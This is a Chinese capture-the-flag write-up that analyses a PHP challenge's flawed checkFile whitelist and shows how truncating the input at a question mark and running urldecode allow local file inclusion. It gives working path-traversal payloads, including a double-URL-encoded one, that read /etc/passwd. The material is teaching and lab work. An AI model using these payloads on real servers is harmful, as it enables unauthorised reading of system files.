进去之后只有一个大滑稽,右键查看源码,发现source.php

    1. <!DOCTYPE html>
    2. <html lang="en">
    3. <head>
    4. <meta charset="UTF-8">
    5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
    6. <meta http-equiv="X-UA-Compatible" content="ie=edge">
    7. <title>Document</title>
    8. </head>
    9. <body>
    10. <!--source.php-->
    11. <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
    12. </html>

    得到代码:

    1. <?php
    2. highlight_file(__FILE__);
    3. class emmm
    4. {
    5. public static function checkFile(&$page)
    6. {
    7. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
    8. if (! isset($page) || !is_string($page)) {
    9. echo "you can't see it";
    10. return false;
    11. }
    12. if (in_array($page, $whitelist)) {
    13. return true;
    14. }
    15. $_page = mb_substr(
    16. $page,
    17. 0,
    18. mb_strpos($page . '?', '?')
    19. );
    20. if (in_array($_page, $whitelist)) {
    21. return true;
    22. }
    23. $_page = urldecode($page);
    24. $_page = mb_substr(
    25. $_page,
    26. 0,
    27. mb_strpos($_page . '?', '?')
    28. );
    29. if (in_array($_page, $whitelist)) {
    30. return true;
    31. }
    32. echo "you can't see it";
    33. return false;
    34. }
    35. }
    36. if (! empty($_REQUEST['file'])
    37. && is_string($_REQUEST['file'])
    38. && emmm::checkFile($_REQUEST['file'])
    39. ) {
    40. include $_REQUEST['file'];
    41. exit;
    42. } else {
    43. echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    44. }
    45. ?>

    在44行发现include $_REQUEST['file'];,存在文件包含漏洞,但是需要满足上面的三个条件,分别为:

    1. empty($_REQUEST['file'],file参数中的内容不为空。
    2. is_string($_REQUEST['file'],file参数中的内容是字符串。
    3. emmm::checkFile($_REQUEST['file'],checkFile返回True。

    前两个就不用再说了,重点是第三个。
    第7行开始,声明了一个whitelist:

    1. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];

    13行,进行一次in_array判断:

    1. if (in_array($page, $whitelist)) {
    2. return true;
    3. }

    只有在whitelist中才会返回true。
    接着程序考虑到了问号存在的情况,提取问号之前的字符串:

    1. $_page = mb_substr(
    2. $page,
    3. 0,
    4. mb_strpos($page . '?', '?')
    5. );

    如果截断后的字符串在whitelist中就返回true。
    linux环境的题目下到这里其实就存在漏洞了,也就是说现在传递的参数中加上一个source.php?或者hint.php?,之后再在?后面加上需要包含的文件即可。
    payload:

    1. index.php?file=source.php?../../../../../../../../../../etc/passwd

    但是在windows环境下不可以这样,因为windows下将?当作保留字符,出现在路径中会报错,继续往下分析:

    1. $_page = urldecode($page);
    2. $_page = mb_substr(
    3. $_page,
    4. 0,
    5. mb_strpos($_page . '?', '?')
    6. );

    可以看到假如前面的都没有通过,那么$_page会经过一次urldecode。那么将?编码两次,即可成功绕过。

    1. index.php?file=source.php%253f../../../../../../../../../../etc/passwd

    之所以为什么编码两次,是因为参数发送到服务器时,就会进行一次url解码,如果是一次编码,那么最后包含文件时还是会出错,所以需要进行两次编码。